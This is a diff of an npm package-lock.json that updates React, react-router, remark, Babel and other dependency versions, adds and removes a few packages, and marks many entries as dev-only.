"sha512-mGKPY5+lLd7Vtkx2VFivoRkPT4xAHazuFfIhJLTEgHlDfIUSePn7qrmpZe5gXH9zvHV0RsBaQ9cLfXjxnZrOpA==", "requires": { - "@babel/runtime": "^7.4.2", + "@babel/runtime": "^7.13.8", "@restart/context": "^2.1.4", - "@restart/hooks": "^0.3.21", + "@restart/hooks": "^0.3.26", "@types/classnames": "^2.2.10", "@types/invariant": "^2.2.33", "@types/prop-types": "^15.7.3", - "@types/react": "^16.9.35", - "@types/react-transition-group": "^4.4.0", + "@types/react": ">=16.9.35", + "@types/react-transition-group": "^4.4.1", "@types/warning": "^3.0.0", "classnames": "^2.2.6", "dom-helpers": "^5.1.2", "invariant": "^2.2.4", "prop-types": "^15.7.2", "prop-types-extra": "^1.1.0", - "react-overlays": "^4.1.0", + "react-overlays": "^5.0.0", "react-transition-group": "^4.4.1", - "uncontrollable": "^7.0.0", + "uncontrollable": "^7.2.1", "warning": "^4.0.3" + }, + "dependencies": { + "@babel/runtime": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", + "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", + "requires": { + "regenerator-runtime": "^0.13.4" + } + } } }, "react-copy-to-clipboard": { @@ -13576,9 +17131,9 @@ } }, "react-dom": { - "version": "16.13.1", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.13.1.tgz", - "integrity": "sha512-81PIMmVLnCNLO/fFOQxdQkvEq/+Hfpv24XNJfpyZhTRfO0QcmQIF/PgCa1zCOj2w1hrn12MFLyaJ/G0+Mxtfag==", + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz", + "integrity": "sha512-1gCeQXDLoIqMgqD3IO2Ah9bnf0w9kzhwN5q4FGnHZ67hBm9yePzB5JJAIQCc8x3pFnNlwFq4RidZggNAAkzWWw==", "requires": { "loose-envify": "^1.1.0", "object-assign": "^4.1.1", @@ -13604,9 +17159,9 @@ } }, "react-filepond": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.0.1.tgz", - "integrity": "sha512-PitNM44JP0K5hXnkSYV3HRlkObsWbhqaJRWizMrdHpS3pPz9/iyiOGmRpc+4T4ST3vblmiUTLRYq/+1bDcSqQw==" + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.1.1.tgz", + "integrity": "sha512-6Szyi3zY4AEiSlE5rztJov/xIDB107Sv31MctDoSutdLinMqmbMej6kJ2MtSGzAhsP2+h8cDDr51mdHNXt97Yw==" }, "react-graph-vis": { "version": "1.0.5", @@ -13627,9 +17182,9 @@ } }, "react-hot-loader": { - "version": "4.12.21", - "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.12.21.tgz", - "integrity": "sha512-Ynxa6ROfWUeKWsTHxsrL2KMzujxJVPjs385lmB2t5cHUxdoRPGind9F00tOkdc1l5WBleOF4XEAMILY1KPIIDA==", + "version": "4.13.0", + "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.13.0.tgz", + "integrity": "sha512-JrLlvUPqh6wIkrK2hZDfOyq/Uh/WeVEr8nc7hkn2/3Ul0sx1Kr5y4kOGNacNRoj7RhwLNcQ3Udf1KJXrqc0ZtA==", "requires": { "fast-levenshtein": "^2.0.6", "global": "^4.3.0", @@ -13654,12 +17209,12 @@ "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" }, "react-json-tree": { - "version": "0.12.0", - "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.0.tgz", - "integrity": "sha512-lp+NDCsU25JTueO1s784oZ5wEmh1c6kHk96szlX1e9bAlyNiHwCBXINpp0C5/D/LwQi9H/a6NjXGkSOS8zxMDg==", + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.12.1.tgz", + "integrity": "sha512-j6fkRY7ha9XMv1HPVakRCsvyFwHGR5AZuwO8naBBeZXnZbbLor5tpcUxS/8XD01+D1v7ZN5p+7LU+9V1uyASiQ==", "requires": { - "prop-types": "^15.5.8", - "react-base16-styling": "^0.5.1" + "prop-types": "^15.7.2", + "react-base16-styling": "^0.7.0" } }, "react-jsonschema-form-bs4": { @@ -13694,27 +17249,37 @@ "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" }, "react-overlays": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-4.1.0.tgz", - "integrity": "sha512-vdRpnKe0ckWOOD9uWdqykLUPHLPndIiUV7XfEKsi5008xiyHCfL8bxsx4LbMrfnxW1LzRthLyfy50XYRFNQqqw==", + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-5.0.0.tgz", + "integrity": "sha512-TKbqfAv23TFtCJ2lzISdx76p97G/DP8Rp4TOFdqM9n8GTruVYgE3jX7Zgb8+w7YJ18slTVcDTQ1/tFzdCqjVhA==", "requires": { - "@babel/runtime": "^7.4.5", - "@popperjs/core": "^2.0.0", - "@restart/hooks": "^0.3.12", + "@babel/runtime": "^7.12.1", + "@popperjs/core": "^2.5.3", + "@restart/hooks": "^0.3.25", "@types/warning": "^3.0.0", - "dom-helpers": "^5.1.0", + "dom-helpers": "^5.2.0", "prop-types": "^15.7.2", "uncontrollable": "^7.0.0", "warning": "^4.0.3" + }, + "dependencies": { + "@babel/runtime": { + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", + "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", + "requires": { + "regenerator-runtime": "^0.13.4" + } + } } }, "react-particles-js": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.3.0.tgz", - "integrity": "sha512-pc9oJWEHH3UR1sJurL98TPrEWr0Yf2E8j+f8PLDpgbnQirTRqfwEvTRNJ/Ibvt6233WycCrndn6ImfL0PDEr7A==", + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.4.1.tgz", + "integrity": "sha512-c3+vITUMN9RlgbERZYd9Kzvjmf49ENp07+9+NDLvE1Jf9euabrJi/q6gCCcv5foxGHBYjHnGs47Tusmrl0/+GQ==", "requires": { "lodash": "^4.17.11", - "tsparticles": "^1.17.1" + "tsparticles": "^1.18.10" } }, "react-redux": { @@ -13732,55 +17297,34 @@ } }, "react-router": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.3.1.tgz", - "integrity": "sha512-yrvL8AogDh2X42Dt9iknk4wF4V8bWREPirFfS9gLU1huk6qK41sg7Z/1S81jjTrGHxa3B8R3J6xIkDAA6CVarg==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-5.2.0.tgz", + "integrity": "sha512-smz1DUuFHRKdcJC0jobGo8cVbhO3x50tCL4icacOlcwDOEQPq4TMqwx3sY1TP+DvtTgz4nm3thuo7A+BK2U0Dw==", "requires": { - "history": "^4.7.2", - "hoist-non-react-statics": "^2.5.0", - "invariant": "^2.2.4", + "@babel/runtime": "^7.1.2", + "history": "^4.9.0", + "hoist-non-react-statics": "^3.1.0", "loose-envify": "^1.3.1", + "mini-create-react-context": "^0.4.0", "path-to-regexp": "^1.7.0", - "prop-types": "^15.6.1", - "warning": "^4.0.1" - }, - "dependencies": { - "hoist-non-react-statics": { - "version": "2.5.5", - "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-2.5.5.tgz", - "integrity": "sha512-rqcy4pJo55FTTLWt+bU8ukscqHeE/e9KWvsOW2b/a3afxQZhwkQdT1rPPCJ0rYXdj4vNcasY8zHTH+jF/qStxw==" - }, - "warning": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz", - "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==", - "requires": { - "loose-envify": "^1.0.0" - } - } + "prop-types": "^15.6.2", + "react-is": "^16.6.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" } }, "react-router-dom": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.3.1.tgz", - "integrity": "sha512-c/MlywfxDdCp7EnB7YfPMOfMD3tOtIjrQlj/CKfNMBxdmpJP8xcz5P/UAFn3JbnQCNUxsHyVVqllF9LhgVyFCA==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-5.2.0.tgz", + "integrity": "sha512-gxAmfylo2QUjcwxI63RhQ5G85Qqt4voZpUXSEqCwykV0baaOTQDR1f0PmY8AELqIyVc0NEZUj0Gov5lNGcXgsA==", "requires": { - "history": "^4.7.2", - "invariant": "^2.2.4", + "@babel/runtime": "^7.1.2", + "history": "^4.9.0", "loose-envify": "^1.3.1", - "prop-types": "^15.6.1", - "react-router": "^4.3.1", - "warning": "^4.0.1" - }, - "dependencies": { - "warning": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz", - "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==", - "requires": { - "loose-envify": "^1.0.0" - } - } + "prop-types": "^15.6.2", + "react-router": "5.2.0", + "tiny-invariant": "^1.0.2", + "tiny-warning": "^1.0.0" } }, "react-spinners": { @@ -13866,6 +17410,7 @@ "version": "2.3.7", "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, "requires": { "core-util-is": "~1.0.0", "inherits": "~2.0.3", @@ -13927,9 +17472,9 @@ } }, "regenerate": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.0.tgz", - "integrity": "sha512-1G6jJVDWrt0rK99kBjvEtziZNCICAuvIPkSiUFIQxVP06RCVpq3dmDo2oi6ABpYaDYaTRr67BEhL8r1wgEZZKg==", + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", "dev": true }, "regenerate-unicode-properties": { @@ -13947,13 +17492,12 @@ "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" }, "regenerator-transform": { - "version": "0.14.4", - "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.4.tgz", - "integrity": "sha512-EaJaKPBI9GvKpvUz2mz4fhx7WPgvwRLY9v3hlNHWmAuJHI13T4nwKnNvm5RWJzEdnI5g5UwtOww+S8IdoUC2bw==", + "version": "0.14.5", + "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.5.tgz", + "integrity": "sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==", "dev": true, "requires": { - "@babel/runtime": "^7.8.4", - "private": "^0.1.8" + "@babel/runtime": "^7.8.4" } }, "regex-not": { @@ -13983,9 +17527,9 @@ "dev": true }, "regexpu-core": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.0.tgz", - "integrity": "sha512-TQ4KXRnIn6tz6tjnrXEkD/sshygKH/j5KzK86X8MkeHyZ8qst/LZ89j3X4/8HEIfHANTFIP/AbXakeRhWIl5YQ==", + "version": "4.7.1", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.1.tgz", + "integrity": "sha512-ywH2VUraA44DZQuRKzARmw6S66mr48pQVva4LBeRhcOltJ6hExvWly5ZjFLYo67xbIxb6W1q4bAGtgfEl20zfQ==", "dev": true, "requires": { "regenerate": "^1.4.0", @@ -13997,9 +17541,10 @@ } }, "registry-auth-token": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.0.tgz", - "integrity": "sha512-P+lWzPrsgfN+UEpDS3U8AQKg/UjZX6mQSJueZj3EK+vNESoqBSpBUD3gmu4sF9lOsjXWjF11dQKUqemf3veq1w==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.1.tgz", + "integrity": "sha512-6gkSb4U6aWJB4SF2ZvLb76yCBjcvufXBqvvEx1HbmKPkutswjW1xNVRY0+daljIYRbogN7O0etYSlbiaEQyMyw==", + "dev": true, "requires": { "rc": "^1.2.8" } @@ -14008,20 +17553,21 @@ "version": "5.1.0", "resolved": "https://registry.npmjs.org/registry-url/-/registry-url-5.1.0.tgz", "integrity": "sha512-8acYXXTI0AkQv6RAOjE3vOaIXZkT9wo4LOFbBKYQEEnnMNBpKqdUrI6S4NT0KPIo/WVvJ5tE/X5LF/TQUf0ekw==", + "dev": true, "requires": { "rc": "^1.2.8" } }, "regjsgen": { - "version": "0.5.1", - "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.1.tgz", - "integrity": "sha512-5qxzGZjDs9w4tzT3TPhCJqWdCc3RLYwy9J2NB0nm5Lz+S273lvWcpjaTGHsT1dc6Hhfq41uSEOw8wBmxrKOuyg==", + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", + "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==", "dev": true }, "regjsparser": { - "version": "0.6.4", - "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.4.tgz", - "integrity": "sha512-64O87/dPDgfk8/RQqC4gkZoGyyWFIEUTTh80CU6CWuK5vkCGyekIx+oKcEIYtP/RAxSQltCZHCNu/mdd7fqlJw==", + "version": "0.6.9", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.9.tgz", + "integrity": "sha512-ZqbNRz1SNjLAiYuwY0zoXW8Ne675IX5q+YHioAGbCw4X96Mjl2+dcX9B2ciaeyYjViDAfvIjFpQjJgLttTEERQ==", "dev": true, "requires": { "jsesc": "~0.5.0" @@ -14042,60 +17588,32 @@ "dev": true }, "remark": { - "version": "12.0.0", - "resolved": "https://registry.npmjs.org/remark/-/remark-12.0.0.tgz", - "integrity": "sha512-oX4lMIS0csgk8AEbzY0h2jdR0ngiCHOpwwpxjmRa5TqAkeknY+tkhjRJGZqnCmvyuWh55/0SW5WY3R3nn3PH9A==", + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/remark/-/remark-13.0.0.tgz", + "integrity": "sha512-HDz1+IKGtOyWN+QgBiAT0kn+2s6ovOxHyPAFGKVE81VSzJ+mq7RwHFledEvB5F1p4iJvOah/LOKdFuzvRnNLCA==", "dev": true, "requires": { - "remark-parse": "^8.0.0", - "remark-stringify": "^8.0.0", - "unified": "^9.0.0" + "remark-parse": "^9.0.0", + "remark-stringify": "^9.0.0", + "unified": "^9.1.0" } }, "remark-parse": { - "version": "8.0.2", - "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-8.0.2.tgz", - "integrity": "sha512-eMI6kMRjsAGpMXXBAywJwiwAse+KNpmt+BK55Oofy4KvBZEqUDj6mWbGLJZrujoPIPPxDXzn3T9baRlpsm2jnQ==", + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-9.0.0.tgz", + "integrity": "sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw==", "dev": true, "requires": { - "ccount": "^1.0.0", - "collapse-white-space": "^1.0.2", - "is-alphabetical": "^1.0.0", - "is-decimal": "^1.0.0", - "is-whitespace-character": "^1.0.0", - "is-word-character": "^1.0.0", - "markdown-escapes": "^1.0.0", - "parse-entities": "^2.0.0", - "repeat-string": "^1.5.4", - "state-toggle": "^1.0.0", - "trim": "0.0.1", - "trim-trailing-lines": "^1.0.0", - "unherit": "^1.0.4", - "unist-util-remove-position": "^2.0.0", - "vfile-location": "^3.0.0", - "xtend": "^4.0.1" + "mdast-util-from-markdown": "^0.8.0" } }, "remark-stringify": { - "version": "8.0.0", - "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-8.0.0.tgz", - "integrity": "sha512-cABVYVloFH+2ZI5bdqzoOmemcz/ZuhQSH6W6ZNYnLojAUUn3xtX7u+6BpnYp35qHoGr2NFBsERV14t4vCIeW8w==", + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-9.0.1.tgz", + "integrity": "sha512-mWmNg3ZtESvZS8fv5PTvaPckdL4iNlCHTt8/e/8oN08nArHRHjNZMKzA/YW3+p7/lYqIw4nx1XsjCBo/AxNChg==", "dev": true, "requires": { - "ccount": "^1.0.0", - "is-alphanumeric": "^1.0.0", - "is-decimal": "^1.0.0", - "is-whitespace-character": "^1.0.0", - "longest-streak": "^2.0.1", - "markdown-escapes": "^1.0.0", - "markdown-table": "^2.0.0", - "mdast-util-compact": "^2.0.0", - "parse-entities": "^2.0.0", - "repeat-string": "^1.5.4", - "state-toggle": "^1.0.0", - "stringify-entities": "^3.0.0", - "unherit": "^1.0.4", - "xtend": "^4.0.1" + "mdast-util-to-markdown": "^0.6.0" } }, "remove-trailing-separator": { @@ -14138,12 +17656,6 @@ "is-finite": "^1.0.0" } }, - "replace-ext": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-1.0.0.tgz", - "integrity": "sha1-3mMSg3P8v3w8z6TeWkgMRaZ5WOs=", - "dev": true - }, "request": { "version": "2.88.2", "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", @@ -14178,6 +17690,12 @@ "integrity": "sha1-jGStX9MNqxyXbiNE/+f3kqam30I=", "dev": true }, + "require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true + }, "require-main-filename": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz", @@ -14199,9 +17717,10 @@ } }, "resolve-alpn": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.0.0.tgz", - "integrity": "sha512-rTuiIEqFmGxne4IovivKSDzld2lWW9QCjqv80SYjPgf+gS35eaCAjaP54CCwGAwBtnCsvNLYtqxe1Nw+i6JEmA==" + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/resolve-alpn/-/resolve-alpn-1.1.1.tgz", + "integrity": "sha512-0KbFjFPR2bnJhNx1t8Ad6RqVc8+QPJC4y561FYyC/Q/6OzB3fhUzB5PEgitYhPK6aifwR5gXBSnDMllaDWixGQ==", + "dev": true }, "resolve-cwd": { "version": "2.0.0", @@ -14276,6 +17795,7 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/responselike/-/responselike-2.0.0.tgz", "integrity": "sha512-xH48u3FTB9VsZw7R+vvgaKeLKzT6jOogbQhEe/jewwnZgzPcnyWui2Av6JpoYZF/91uueC+lqhWqeURw5/qhCw==", + "dev": true, "requires": { "lowercase-keys": "^2.0.0" } @@ -14305,12 +17825,14 @@ "reusify": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", - "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==" + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true }, "rimraf": { "version": "2.7.1", "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, "requires": { "glob": "^7.1.3" } @@ -14325,15 +17847,42 @@ "inherits": "^2.0.1" } }, + "roarr": { + "version": "2.15.4", + "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz", + "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==", + "dev": true, + "requires": { + "boolean": "^3.0.1", + "detect-node": "^2.0.4", + "globalthis": "^1.0.1", + "json-stringify-safe": "^5.0.1", + "semver-compare": "^1.0.0", + "sprintf-js": "^1.1.2" + }, + "dependencies": { + "sprintf-js": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz", + "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==", + "dev": true + } + } + }, "run-async": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz", - "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==" + "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==", + "dev": true }, "run-parallel": { - "version": "1.1.9", - "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.1.9.tgz", - "integrity": "sha512-DEqnSRTDw/Tc3FXf49zedI638Z9onwUotBMiUFKmrO2sdFKIbXamXGQ3Axd4qgphxKB4kw/qP1w5kTxnfU1B9Q==" + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "requires": { + "queue-microtask": "^1.2.2" + } }, "run-queue": { "version": "1.0.3", @@ -14353,6 +17902,7 @@ "version": "6.5.5", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.5.5.tgz", "integrity": "sha512-WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==", + "dev": true, "requires": { "tslib": "^1.9.0" } @@ -14418,7 +17968,8 @@ "sax": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz", - "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==" + "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==", + "dev": true }, "scheduler": { "version": "0.19.1", @@ -14460,11 +18011,6 @@ } } }, - "secure-keys": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/secure-keys/-/secure-keys-1.0.0.tgz", - "integrity": "sha1-8MgtmKOxOah3aogIBQuCRDEIf8o=" - }, "select-hose": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz", @@ -14483,12 +18029,20 @@ "semver": { "version": "5.7.1", "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", - "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true + }, + "semver-compare": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz", + "integrity": "sha1-De4hahyUGrN+nvsXiPavxf9VN/w=", + "dev": true }, "semver-diff": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/semver-diff/-/semver-diff-3.1.1.tgz", "integrity": "sha512-GX0Ix/CJcHyB8c4ykpHGIAvLyOwOobtM/8d+TQkAd81/bEjgPHrfba41Vpesr7jX/t8Uh+R3EX9eAS5be+jQYg==", + "dev": true, "requires": { "semver": "^6.3.0" }, @@ -14496,7 +18050,8 @@ "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true } } }, @@ -14535,6 +18090,23 @@ } } }, + "serialize-error": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz", + "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==", + "dev": true, + "requires": { + "type-fest": "^0.13.1" + }, + "dependencies": { + "type-fest": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", + "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", + "dev": true + } + } + }, "serialize-javascript": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz", @@ -14606,7 +18178,8 @@ "set-immediate-shim": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/set-immediate-shim/-/set-immediate-shim-1.0.1.tgz", - "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=" + "integrity": "sha1-SysbJ+uAip+NzEgaWOXlb1mfP2E=", + "dev": true }, "set-value": { "version": "2.0.1", @@ -14639,7 +18212,8 @@ "setprototypeof": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", - "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" + "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==", + "dev": true }, "sha.js": { "version": "2.4.11", @@ -14688,6 +18262,7 @@ "version": "1.2.0", "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz", "integrity": "sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=", + "dev": true, "requires": { "shebang-regex": "^1.0.0" } @@ -14695,7 +18270,8 @@ "shebang-regex": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz", - "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=" + "integrity": "sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=", + "dev": true }, "shortid": { "version": "2.2.15", @@ -14706,19 +18282,29 @@ } }, "side-channel": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.2.tgz", - "integrity": "sha512-7rL9YlPHg7Ancea1S96Pa8/QWb4BtXL/TZvS6B8XFetGBeuhAsfmUspK6DokBeZ64+Kj9TCNRD/30pVz1BvQNA==", + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", "dev": true, "requires": { - "es-abstract": "^1.17.0-next.1", - "object-inspect": "^1.7.0" + "call-bind": 